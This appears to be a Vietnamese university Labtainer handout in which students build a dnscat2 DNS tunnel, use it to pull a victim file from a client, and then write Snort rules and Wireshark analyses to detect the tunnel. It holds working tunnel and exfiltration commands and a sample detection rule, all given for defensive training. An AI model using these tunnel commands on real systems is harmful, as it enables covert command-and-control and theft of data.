

Lab: ptit-snort-dns

Khởi động bài lab:

labtainer ptit-snort-dns

(chú ý: sinh viên sử dụng email *stu.ptit.edu.vn* của mình để nhập thông tin email người thực hiện bài lab khi có yêu cầu, để sử dụng khi chấm điểm)

Các nhiệm vụ:

Task 1: Tạo kết nối DNS Tunneling sử dụng IP và port.

- Trên máy server sử dụng lệnh “ifconfig” để xác định IP.
- Trên máy server khởi chạy dnscat2 để đợi kết nối từ client:

cd dnscat2/server

ruby dnscat2.rb <IP_server>

- Trên máy client khởi chạy dnscat2 để kết nối tới server:

cd dnscat2/client

./dnscat --dns server=<IP_server>,port=53

Task 2: Đánh cắp dữ liệu.

- Trên máy server sử dụng lệnh “*session -i x*” để tạo phiên mới, trong đó x là phiên muốn tương tác. Ví dụ: *session -i 1*
- Sử dụng tính năng *download* để tải file *datavictim.txt* từ máy client sang máy server và dùng lệnh “*cat*” để đọc file trên server.

Task 3: Viết luật đơn giản và chạy snort.

- Sử dụng dnscat2 để tạo lại kết nối giữa client và server
- Trên máy snort, mở *wireshark* để bắt và phân tích các gói tin, quan sát dữ liệu của các gói tin bắt được trên wireshark.

Gợi ý: chú ý mã hexa để nhận biết gói tin DNS và dữ liệu dạng mã ASCII để phát hiện ra gói tin có chứa chuỗi "dnscat".

- Thêm luật để tạo cảnh báo cho snort trong file tại */etc/snort/rules/local.rules*.

Gợi ý:

```
alert udp any any -> any any (msg:"DNSCAT2-Tunneling Attempt";  
content:"|00 01 00 00|",offset 4, depth 4; content:"d*****",distance 4,  
within 255; sid:100000000; rev:1;)
```

- Chạy snort bằng lệnh *./start_snort.sh* để hiển thị cảnh báo.

Task 4: Tạo kết nối DNS Tunneling sử dụng tên miền c2c.com.

- Trên máy server khởi chạy dnscat2 với tên miền **c2c.com** để đợi kết nối từ client

```
ruby dnscat2.rb <domain_server>
```

Quan sát kết quả trả về có nội dung "*./dnscat --secret =* c2c.com*" (trong đó * là một chuỗi kí tự), sao chép nội dung này và chạy trên terminal client để kết nối đến server.

- Trên máy snort, chạy snort để kiểm tra rule đã viết. Rule có hoạt động không? Vì sao?

Task 5: Phát hiện DNS Tunneling nâng cao với snort.

- Trên máy snort, sử dụng *wireshark* để bắt và phân tích các gói tin.

Gợi ý: quan sát dữ liệu của các gói tin bắt được trên wireshark, chú ý mã hexa để nhận biết gói tin DNS và dữ liệu dạng mã ASCII để phát hiện ra gói tin có chứa các bản ghi TXT, MX, CNAME

- Thêm luật để tạo cảnh báo cho snort trong file tại */etc/snort/rules/local.rules*.

- Dựa trên nội dung phân tích được khi quan sát các gói tin, viết các rule để tạo các cảnh báo sau:
 - *"Possible-DNSCat-Tunnel-TXT-Traffic"*
 - *"Possible-DNSCat-Tunnel-CNAME-Traffic"*
 - *"Possible-DNSCat-Tunnel-MX-Traffic"*
- Chạy snort bằng lệnh *./start_snort.sh*

Kết thúc bài lab

- Trên terminal đầu tiên sử dụng câu lệnh sau để kết thúc bài lab:

stoplab ptit-snort-dns

- Khi bài lab kết thúc, một tệp zip lưu kết quả được tạo và lưu vào một vị trí được hiển thị bên dưới stoplab.

Khởi động lại bài lab

- Trong quá trình làm bài sinh viên cần thực hiện lại bài lab, dùng câu lệnh:

startlab -r ptit-snort-dns